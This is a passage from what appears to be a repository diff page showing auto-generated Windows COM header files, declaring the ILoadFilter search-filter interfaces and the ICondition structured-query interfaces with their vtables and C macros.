EXTERN_C const CLSID CLSID_FilterRegistration;
extern RPC_IF_HANDLE __MIDL_itf_filtereg_0000_0000_v0_0_c_ifspec;
extern RPC_IF_HANDLE __MIDL_itf_filtereg_0000_0000_v0_0_s_ifspec;
#ifndef __ILoadFilter_INTERFACE_DEFINED__
#define __ILoadFilter_INTERFACE_DEFINED__
/* interface ILoadFilter */
/* [unique][helpstring][uuid][object] */
typedef struct _FILTERED_DATA_SOURCES
{
const WCHAR *pwcsExtension;
const WCHAR *pwcsMime;
const CLSID *pClsid;
const WCHAR *pwcsOverride;
} FILTERED_DATA_SOURCES;
EXTERN_C const IID IID_ILoadFilter;
#if defined(__cplusplus) && !defined(CINTERFACE)
MIDL_INTERFACE("c7310722-ac80-11d1-8df3-00c04fb6ef4f")
ILoadFilter : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE LoadIFilter(
/* [unique][in] */ __RPC__in_opt LPCWSTR pwcsPath,
/* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *pFilteredSources,
/* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
/* [in] */ BOOL fUseDefault,
/* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
/* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
/* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt) = 0;
virtual HRESULT STDMETHODCALLTYPE LoadIFilterFromStorage(
/* [in] */ __RPC__in_opt IStorage *pStg,
/* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
/* [unique][in] */ __RPC__in_opt LPCWSTR pwcsOverride,
/* [in] */ BOOL fUseDefault,
/* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
/* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
/* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt) = 0;
virtual HRESULT STDMETHODCALLTYPE LoadIFilterFromStream(
/* [in] */ __RPC__in_opt IStream *pStm,
/* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *pFilteredSources,
/* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
/* [in] */ BOOL fUseDefault,
/* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
/* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
/* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt) = 0;
};
#else /* C style interface */
typedef struct ILoadFilterVtbl
{
BEGIN_INTERFACE
HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
__RPC__in ILoadFilter * This,
/* [in] */ __RPC__in REFIID riid,
/* [annotation][iid_is][out] */
_COM_Outptr_ void **ppvObject);
ULONG ( STDMETHODCALLTYPE *AddRef )(
__RPC__in ILoadFilter * This);
ULONG ( STDMETHODCALLTYPE *Release )(
__RPC__in ILoadFilter * This);
HRESULT ( STDMETHODCALLTYPE *LoadIFilter )(
__RPC__in ILoadFilter * This,
/* [unique][in] */ __RPC__in_opt LPCWSTR pwcsPath,
/* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *pFilteredSources,
/* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
/* [in] */ BOOL fUseDefault,
/* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
/* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
/* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt);
HRESULT ( STDMETHODCALLTYPE *LoadIFilterFromStorage )(
__RPC__in ILoadFilter * This,
/* [in] */ __RPC__in_opt IStorage *pStg,
/* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
/* [unique][in] */ __RPC__in_opt LPCWSTR pwcsOverride,
/* [in] */ BOOL fUseDefault,
/* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
/* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
/* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt);
HRESULT ( STDMETHODCALLTYPE *LoadIFilterFromStream )(
__RPC__in ILoadFilter * This,
/* [in] */ __RPC__in_opt IStream *pStm,
/* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *pFilteredSources,
/* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
/* [in] */ BOOL fUseDefault,
/* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
/* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
/* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt);
END_INTERFACE
} ILoadFilterVtbl;
interface ILoadFilter
{
CONST_VTBL struct ILoadFilterVtbl *lpVtbl;
};
#ifdef COBJMACROS
#define ILoadFilter_QueryInterface(This,riid,ppvObject) \
( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) )
#define ILoadFilter_AddRef(This) \
( (This)->lpVtbl -> AddRef(This) )
#define ILoadFilter_Release(This) \
( (This)->lpVtbl -> Release(This) )
#define ILoadFilter_LoadIFilter(This,pwcsPath,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) \
( (This)->lpVtbl -> LoadIFilter(This,pwcsPath,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) )
#define ILoadFilter_LoadIFilterFromStorage(This,pStg,pUnkOuter,pwcsOverride,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) \
( (This)->lpVtbl -> LoadIFilterFromStorage(This,pStg,pUnkOuter,pwcsOverride,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) )
#define ILoadFilter_LoadIFilterFromStream(This,pStm,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) \
( (This)->lpVtbl -> LoadIFilterFromStream(This,pStm,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) )
#endif /* COBJMACROS */
#endif /* C style interface */
#endif /* __ILoadFilter_INTERFACE_DEFINED__ */
#ifndef __ILoadFilterWithPrivateComActivation_INTERFACE_DEFINED__
#define __ILoadFilterWithPrivateComActivation_INTERFACE_DEFINED__
/* interface ILoadFilterWithPrivateComActivation */
/* [unique][helpstring][uuid][object] */
EXTERN_C const IID IID_ILoadFilterWithPrivateComActivation;
#if defined(__cplusplus) && !defined(CINTERFACE)
MIDL_INTERFACE("40BDBD34-780B-48D3-9BB6-12EBD4AD2E75")
ILoadFilterWithPrivateComActivation : public ILoadFilter
{
public:
virtual HRESULT STDMETHODCALLTYPE LoadIFilterWithPrivateComActivation(
/* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *filteredSources,
/* [in] */ BOOL useDefault,
/* [out] */ __RPC__out CLSID *filterClsid,
/* [out] */ __RPC__out BOOL *isFilterPrivateComActivated,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **filterObj) = 0;
};
#else /* C style interface */
typedef struct ILoadFilterWithPrivateComActivationVtbl
{
BEGIN_INTERFACE
HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
__RPC__in ILoadFilterWithPrivateComActivation * This,
/* [in] */ __RPC__in REFIID riid,
/* [annotation][iid_is][out] */
_COM_Outptr_ void **ppvObject);
ULONG ( STDMETHODCALLTYPE *AddRef )(
__RPC__in ILoadFilterWithPrivateComActivation * This);
ULONG ( STDMETHODCALLTYPE *Release )(
__RPC__in ILoadFilterWithPrivateComActivation * This);
HRESULT ( STDMETHODCALLTYPE *LoadIFilter )(
__RPC__in ILoadFilterWithPrivateComActivation * This,
/* [unique][in] */ __RPC__in_opt LPCWSTR pwcsPath,
/* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *pFilteredSources,
/* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
/* [in] */ BOOL fUseDefault,
/* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
/* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
/* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt);
HRESULT ( STDMETHODCALLTYPE *LoadIFilterFromStorage )(
__RPC__in ILoadFilterWithPrivateComActivation * This,
/* [in] */ __RPC__in_opt IStorage *pStg,
/* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
/* [unique][in] */ __RPC__in_opt LPCWSTR pwcsOverride,
/* [in] */ BOOL fUseDefault,
/* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
/* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
/* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt);
HRESULT ( STDMETHODCALLTYPE *LoadIFilterFromStream )(
__RPC__in ILoadFilterWithPrivateComActivation * This,
/* [in] */ __RPC__in_opt IStream *pStm,
/* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *pFilteredSources,
/* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
/* [in] */ BOOL fUseDefault,
/* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
/* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
/* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt);
HRESULT ( STDMETHODCALLTYPE *LoadIFilterWithPrivateComActivation )(
__RPC__in ILoadFilterWithPrivateComActivation * This,
/* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *filteredSources,
/* [in] */ BOOL useDefault,
/* [out] */ __RPC__out CLSID *filterClsid,
/* [out] */ __RPC__out BOOL *isFilterPrivateComActivated,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **filterObj);
END_INTERFACE
} ILoadFilterWithPrivateComActivationVtbl;
interface ILoadFilterWithPrivateComActivation
{
CONST_VTBL struct ILoadFilterWithPrivateComActivationVtbl *lpVtbl;
};
#ifdef COBJMACROS
#define ILoadFilterWithPrivateComActivation_QueryInterface(This,riid,ppvObject) \
( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) )
#define ILoadFilterWithPrivateComActivation_AddRef(This) \
( (This)->lpVtbl -> AddRef(This) )
#define ILoadFilterWithPrivateComActivation_Release(This) \
( (This)->lpVtbl -> Release(This) )
#define ILoadFilterWithPrivateComActivation_LoadIFilter(This,pwcsPath,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) \
( (This)->lpVtbl -> LoadIFilter(This,pwcsPath,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) )
#define ILoadFilterWithPrivateComActivation_LoadIFilterFromStorage(This,pStg,pUnkOuter,pwcsOverride,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) \
( (This)->lpVtbl -> LoadIFilterFromStorage(This,pStg,pUnkOuter,pwcsOverride,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) )
#define ILoadFilterWithPrivateComActivation_LoadIFilterFromStream(This,pStm,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) \
( (This)->lpVtbl -> LoadIFilterFromStream(This,pStm,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) )
#define ILoadFilterWithPrivateComActivation_LoadIFilterWithPrivateComActivation(This,filteredSources,useDefault,filterClsid,isFilterPrivateComActivated,filterObj) \
( (This)->lpVtbl -> LoadIFilterWithPrivateComActivation(This,filteredSources,useDefault,filterClsid,isFilterPrivateComActivated,filterObj) )
#endif /* COBJMACROS */
#endif /* C style interface */
#endif /* __ILoadFilterWithPrivateComActivation_INTERFACE_DEFINED__ */
/* interface __MIDL_itf_filtereg_0000_0002 */
/* [local] */
#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
#pragma endregion
extern RPC_IF_HANDLE __MIDL_itf_filtereg_0000_0002_v0_0_c_ifspec;
extern RPC_IF_HANDLE __MIDL_itf_filtereg_0000_0002_v0_0_s_ifspec;
/* Additional Prototypes for ALL interfaces */
/* end of Additional Prototypes */
#ifdef __cplusplus
}
#endif
#endif

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,770 @@
/* this ALWAYS GENERATED file contains the definitions for the interfaces */
/* File created by MIDL compiler version 8.01.0622 */
/* @@MIDL_FILE_HEADING( ) */
/* verify that the <rpcndr.h> version is high enough to compile this file*/
#ifndef __REQUIRED_RPCNDR_H_VERSION__
#define __REQUIRED_RPCNDR_H_VERSION__ 500
#endif
/* verify that the <rpcsal.h> version is high enough to compile this file*/
#ifndef __REQUIRED_RPCSAL_H_VERSION__
#define __REQUIRED_RPCSAL_H_VERSION__ 100
#endif
#include "rpc.h"
#include "rpcndr.h"
#ifndef __RPCNDR_H_VERSION__
#error this stub requires an updated version of <rpcndr.h>
#endif /* __RPCNDR_H_VERSION__ */
#ifndef COM_NO_WINDOWS_H
#include "windows.h"
#include "ole2.h"
#endif /*COM_NO_WINDOWS_H*/
#ifndef __structuredquerycondition_h__
#define __structuredquerycondition_h__
#if defined(_MSC_VER) && (_MSC_VER >= 1020)
#pragma once
#endif
/* Forward Declarations */
#ifndef __IRichChunk_FWD_DEFINED__
#define __IRichChunk_FWD_DEFINED__
typedef interface IRichChunk IRichChunk;
#endif /* __IRichChunk_FWD_DEFINED__ */
#ifndef __ICondition_FWD_DEFINED__
#define __ICondition_FWD_DEFINED__
typedef interface ICondition ICondition;
#endif /* __ICondition_FWD_DEFINED__ */
#ifndef __ICondition2_FWD_DEFINED__
#define __ICondition2_FWD_DEFINED__
typedef interface ICondition2 ICondition2;
#endif /* __ICondition2_FWD_DEFINED__ */
/* header files for imported files */
#include "oaidl.h"
#include "ocidl.h"
#include "propidl.h"
#ifdef __cplusplus
extern "C"{
#endif
/* interface __MIDL_itf_structuredquerycondition_0000_0000 */
/* [local] */
#include <winapifamily.h>
typedef /* [v1_enum] */
enum tagCONDITION_TYPE
{
CT_AND_CONDITION = 0,
CT_OR_CONDITION = ( CT_AND_CONDITION + 1 ) ,
CT_NOT_CONDITION = ( CT_OR_CONDITION + 1 ) ,
CT_LEAF_CONDITION = ( CT_NOT_CONDITION + 1 )
} CONDITION_TYPE;
typedef /* [v1_enum] */
enum tagCONDITION_OPERATION
{
COP_IMPLICIT = 0,
COP_EQUAL = ( COP_IMPLICIT + 1 ) ,
COP_NOTEQUAL = ( COP_EQUAL + 1 ) ,
COP_LESSTHAN = ( COP_NOTEQUAL + 1 ) ,
COP_GREATERTHAN = ( COP_LESSTHAN + 1 ) ,
COP_LESSTHANOREQUAL = ( COP_GREATERTHAN + 1 ) ,
COP_GREATERTHANOREQUAL = ( COP_LESSTHANOREQUAL + 1 ) ,
COP_VALUE_STARTSWITH = ( COP_GREATERTHANOREQUAL + 1 ) ,
COP_VALUE_ENDSWITH = ( COP_VALUE_STARTSWITH + 1 ) ,
COP_VALUE_CONTAINS = ( COP_VALUE_ENDSWITH + 1 ) ,
COP_VALUE_NOTCONTAINS = ( COP_VALUE_CONTAINS + 1 ) ,
COP_DOSWILDCARDS = ( COP_VALUE_NOTCONTAINS + 1 ) ,
COP_WORD_EQUAL = ( COP_DOSWILDCARDS + 1 ) ,
COP_WORD_STARTSWITH = ( COP_WORD_EQUAL + 1 ) ,
COP_APPLICATION_SPECIFIC = ( COP_WORD_STARTSWITH + 1 )
} CONDITION_OPERATION;
#pragma region Desktop Family
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
extern RPC_IF_HANDLE __MIDL_itf_structuredquerycondition_0000_0000_v0_0_c_ifspec;
extern RPC_IF_HANDLE __MIDL_itf_structuredquerycondition_0000_0000_v0_0_s_ifspec;
#ifndef __IRichChunk_INTERFACE_DEFINED__
#define __IRichChunk_INTERFACE_DEFINED__
/* interface IRichChunk */
/* [unique][uuid][object] */
EXTERN_C const IID IID_IRichChunk;
#if defined(__cplusplus) && !defined(CINTERFACE)
MIDL_INTERFACE("4FDEF69C-DBC9-454e-9910-B34F3C64B510")
IRichChunk : public IUnknown
{
public:
virtual /* [local] */ HRESULT STDMETHODCALLTYPE GetData(
/* [annotation][unique][out] */
_Out_opt_ ULONG *pFirstPos,
/* [annotation][unique][out] */
_Out_opt_ ULONG *pLength,
/* [annotation][unique][out] */
_Outptr_opt_result_maybenull_ LPWSTR *ppsz,
/* [annotation][unique][out] */
_Out_opt_ PROPVARIANT *pValue) = 0;
};
#else /* C style interface */
typedef struct IRichChunkVtbl
{
BEGIN_INTERFACE
HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
__RPC__in IRichChunk * This,
/* [in] */ __RPC__in REFIID riid,
/* [annotation][iid_is][out] */
_COM_Outptr_ void **ppvObject);
ULONG ( STDMETHODCALLTYPE *AddRef )(
__RPC__in IRichChunk * This);
ULONG ( STDMETHODCALLTYPE *Release )(
__RPC__in IRichChunk * This);
/* [local] */ HRESULT ( STDMETHODCALLTYPE *GetData )(
IRichChunk * This,
/* [annotation][unique][out] */
_Out_opt_ ULONG *pFirstPos,
/* [annotation][unique][out] */
_Out_opt_ ULONG *pLength,
/* [annotation][unique][out] */
_Outptr_opt_result_maybenull_ LPWSTR *ppsz,
/* [annotation][unique][out] */
_Out_opt_ PROPVARIANT *pValue);
END_INTERFACE
} IRichChunkVtbl;
interface IRichChunk
{
CONST_VTBL struct IRichChunkVtbl *lpVtbl;
};
#ifdef COBJMACROS
#define IRichChunk_QueryInterface(This,riid,ppvObject) \
( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) )
#define IRichChunk_AddRef(This) \
( (This)->lpVtbl -> AddRef(This) )
#define IRichChunk_Release(This) \
( (This)->lpVtbl -> Release(This) )
#define IRichChunk_GetData(This,pFirstPos,pLength,ppsz,pValue) \
( (This)->lpVtbl -> GetData(This,pFirstPos,pLength,ppsz,pValue) )
#endif /* COBJMACROS */
#endif /* C style interface */
/* [call_as] */ HRESULT STDMETHODCALLTYPE IRichChunk_RemoteGetData_Proxy(
__RPC__in IRichChunk * This,
/* [out] */ __RPC__out ULONG *pFirstPos,
/* [out] */ __RPC__out ULONG *pLength,
/* [out] */ __RPC__deref_out_opt LPWSTR *ppsz,
/* [out] */ __RPC__out PROPVARIANT *pValue);
void __RPC_STUB IRichChunk_RemoteGetData_Stub(
IRpcStubBuffer *This,
IRpcChannelBuffer *_pRpcChannelBuffer,
PRPC_MESSAGE _pRpcMessage,
DWORD *_pdwStubPhase);
#endif /* __IRichChunk_INTERFACE_DEFINED__ */
#ifndef __ICondition_INTERFACE_DEFINED__
#define __ICondition_INTERFACE_DEFINED__
/* interface ICondition */
/* [unique][uuid][object] */
EXTERN_C const IID IID_ICondition;
#if defined(__cplusplus) && !defined(CINTERFACE)
MIDL_INTERFACE("0FC988D4-C935-4b97-A973-46282EA175C8")
ICondition : public IPersistStream
{
public:
virtual HRESULT STDMETHODCALLTYPE GetConditionType(
/* [retval][out] */ __RPC__out CONDITION_TYPE *pNodeType) = 0;
virtual HRESULT STDMETHODCALLTYPE GetSubConditions(
/* [in] */ __RPC__in REFIID riid,
/* [iid_is][retval][out] */ __RPC__deref_out_opt void **ppv) = 0;
virtual /* [local] */ HRESULT STDMETHODCALLTYPE GetComparisonInfo(
/* [annotation][unique][out] */
_Outptr_opt_result_maybenull_ LPWSTR *ppszPropertyName,
/* [annotation][unique][out] */
_Out_opt_ CONDITION_OPERATION *pcop,
/* [annotation][unique][out] */
_Out_opt_ PROPVARIANT *ppropvar) = 0;
virtual HRESULT STDMETHODCALLTYPE GetValueType(
/* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszValueTypeName) = 0;
virtual HRESULT STDMETHODCALLTYPE GetValueNormalization(
/* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszNormalization) = 0;
virtual /* [local] */ HRESULT STDMETHODCALLTYPE GetInputTerms(
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppPropertyTerm,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppOperationTerm,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppValueTerm) = 0;
virtual HRESULT STDMETHODCALLTYPE Clone(
/* [retval][out] */ __RPC__deref_out_opt ICondition **ppc) = 0;
};
#else /* C style interface */
typedef struct IConditionVtbl
{
BEGIN_INTERFACE
HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
__RPC__in ICondition * This,
/* [in] */ __RPC__in REFIID riid,
/* [annotation][iid_is][out] */
_COM_Outptr_ void **ppvObject);
ULONG ( STDMETHODCALLTYPE *AddRef )(
__RPC__in ICondition * This);
ULONG ( STDMETHODCALLTYPE *Release )(
__RPC__in ICondition * This);
HRESULT ( STDMETHODCALLTYPE *GetClassID )(
__RPC__in ICondition * This,
/* [out] */ __RPC__out CLSID *pClassID);
HRESULT ( STDMETHODCALLTYPE *IsDirty )(
__RPC__in ICondition * This);
HRESULT ( STDMETHODCALLTYPE *Load )(
__RPC__in ICondition * This,
/* [unique][in] */ __RPC__in_opt IStream *pStm);
HRESULT ( STDMETHODCALLTYPE *Save )(
__RPC__in ICondition * This,
/* [unique][in] */ __RPC__in_opt IStream *pStm,
/* [in] */ BOOL fClearDirty);
HRESULT ( STDMETHODCALLTYPE *GetSizeMax )(
__RPC__in ICondition * This,
/* [out] */ __RPC__out ULARGE_INTEGER *pcbSize);
HRESULT ( STDMETHODCALLTYPE *GetConditionType )(
__RPC__in ICondition * This,
/* [retval][out] */ __RPC__out CONDITION_TYPE *pNodeType);
HRESULT ( STDMETHODCALLTYPE *GetSubConditions )(
__RPC__in ICondition * This,
/* [in] */ __RPC__in REFIID riid,
/* [iid_is][retval][out] */ __RPC__deref_out_opt void **ppv);
/* [local] */ HRESULT ( STDMETHODCALLTYPE *GetComparisonInfo )(
ICondition * This,
/* [annotation][unique][out] */
_Outptr_opt_result_maybenull_ LPWSTR *ppszPropertyName,
/* [annotation][unique][out] */
_Out_opt_ CONDITION_OPERATION *pcop,
/* [annotation][unique][out] */
_Out_opt_ PROPVARIANT *ppropvar);
HRESULT ( STDMETHODCALLTYPE *GetValueType )(
__RPC__in ICondition * This,
/* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszValueTypeName);
HRESULT ( STDMETHODCALLTYPE *GetValueNormalization )(
__RPC__in ICondition * This,
/* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszNormalization);
/* [local] */ HRESULT ( STDMETHODCALLTYPE *GetInputTerms )(
ICondition * This,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppPropertyTerm,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppOperationTerm,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppValueTerm);
HRESULT ( STDMETHODCALLTYPE *Clone )(
__RPC__in ICondition * This,
/* [retval][out] */ __RPC__deref_out_opt ICondition **ppc);
END_INTERFACE
} IConditionVtbl;
interface ICondition
{
CONST_VTBL struct IConditionVtbl *lpVtbl;
};
#ifdef COBJMACROS
#define ICondition_QueryInterface(This,riid,ppvObject) \
( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) )
#define ICondition_AddRef(This) \
( (This)->lpVtbl -> AddRef(This) )
#define ICondition_Release(This) \
( (This)->lpVtbl -> Release(This) )
#define ICondition_GetClassID(This,pClassID) \
( (This)->lpVtbl -> GetClassID(This,pClassID) )
#define ICondition_IsDirty(This) \
( (This)->lpVtbl -> IsDirty(This) )
#define ICondition_Load(This,pStm) \
( (This)->lpVtbl -> Load(This,pStm) )
#define ICondition_Save(This,pStm,fClearDirty) \
( (This)->lpVtbl -> Save(This,pStm,fClearDirty) )
#define ICondition_GetSizeMax(This,pcbSize) \
( (This)->lpVtbl -> GetSizeMax(This,pcbSize) )
#define ICondition_GetConditionType(This,pNodeType) \
( (This)->lpVtbl -> GetConditionType(This,pNodeType) )
#define ICondition_GetSubConditions(This,riid,ppv) \
( (This)->lpVtbl -> GetSubConditions(This,riid,ppv) )
#define ICondition_GetComparisonInfo(This,ppszPropertyName,pcop,ppropvar) \
( (This)->lpVtbl -> GetComparisonInfo(This,ppszPropertyName,pcop,ppropvar) )
#define ICondition_GetValueType(This,ppszValueTypeName) \
( (This)->lpVtbl -> GetValueType(This,ppszValueTypeName) )
#define ICondition_GetValueNormalization(This,ppszNormalization) \
( (This)->lpVtbl -> GetValueNormalization(This,ppszNormalization) )
#define ICondition_GetInputTerms(This,ppPropertyTerm,ppOperationTerm,ppValueTerm) \
( (This)->lpVtbl -> GetInputTerms(This,ppPropertyTerm,ppOperationTerm,ppValueTerm) )
#define ICondition_Clone(This,ppc) \
( (This)->lpVtbl -> Clone(This,ppc) )
#endif /* COBJMACROS */
#endif /* C style interface */
/* [call_as] */ HRESULT STDMETHODCALLTYPE ICondition_RemoteGetComparisonInfo_Proxy(
__RPC__in ICondition * This,
/* [out] */ __RPC__deref_out_opt LPWSTR *ppszPropertyName,
/* [out] */ __RPC__out CONDITION_OPERATION *pcop,
/* [out] */ __RPC__out PROPVARIANT *ppropvar);
void __RPC_STUB ICondition_RemoteGetComparisonInfo_Stub(
IRpcStubBuffer *This,
IRpcChannelBuffer *_pRpcChannelBuffer,
PRPC_MESSAGE _pRpcMessage,
DWORD *_pdwStubPhase);
/* [call_as] */ HRESULT STDMETHODCALLTYPE ICondition_RemoteGetInputTerms_Proxy(
__RPC__in ICondition * This,
/* [out] */ __RPC__deref_out_opt IRichChunk **ppPropertyTerm,
/* [out] */ __RPC__deref_out_opt IRichChunk **ppOperationTerm,
/* [out] */ __RPC__deref_out_opt IRichChunk **ppValueTerm);
void __RPC_STUB ICondition_RemoteGetInputTerms_Stub(
IRpcStubBuffer *This,
IRpcChannelBuffer *_pRpcChannelBuffer,
PRPC_MESSAGE _pRpcMessage,
DWORD *_pdwStubPhase);
#endif /* __ICondition_INTERFACE_DEFINED__ */
#ifndef __ICondition2_INTERFACE_DEFINED__
#define __ICondition2_INTERFACE_DEFINED__
/* interface ICondition2 */
/* [unique][object][uuid] */
EXTERN_C const IID IID_ICondition2;
#if defined(__cplusplus) && !defined(CINTERFACE)
MIDL_INTERFACE("0DB8851D-2E5B-47eb-9208-D28C325A01D7")
ICondition2 : public ICondition
{
public:
virtual HRESULT STDMETHODCALLTYPE GetLocale(
/* [out] */ __RPC__deref_out_opt LPWSTR *ppszLocaleName) = 0;
virtual /* [local] */ HRESULT STDMETHODCALLTYPE GetLeafConditionInfo(
/* [annotation][out] */
_Out_opt_ PROPERTYKEY *ppropkey,
/* [annotation][out] */
_Out_opt_ CONDITION_OPERATION *pcop,
/* [annotation][out] */
_Out_opt_ PROPVARIANT *ppropvar) = 0;
};
#else /* C style interface */
typedef struct ICondition2Vtbl
{
BEGIN_INTERFACE
HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
__RPC__in ICondition2 * This,
/* [in] */ __RPC__in REFIID riid,
/* [annotation][iid_is][out] */
_COM_Outptr_ void **ppvObject);
ULONG ( STDMETHODCALLTYPE *AddRef )(
__RPC__in ICondition2 * This);
ULONG ( STDMETHODCALLTYPE *Release )(
__RPC__in ICondition2 * This);
HRESULT ( STDMETHODCALLTYPE *GetClassID )(
__RPC__in ICondition2 * This,
/* [out] */ __RPC__out CLSID *pClassID);
HRESULT ( STDMETHODCALLTYPE *IsDirty )(
__RPC__in ICondition2 * This);
HRESULT ( STDMETHODCALLTYPE *Load )(
__RPC__in ICondition2 * This,
/* [unique][in] */ __RPC__in_opt IStream *pStm);
HRESULT ( STDMETHODCALLTYPE *Save )(
__RPC__in ICondition2 * This,
/* [unique][in] */ __RPC__in_opt IStream *pStm,
/* [in] */ BOOL fClearDirty);
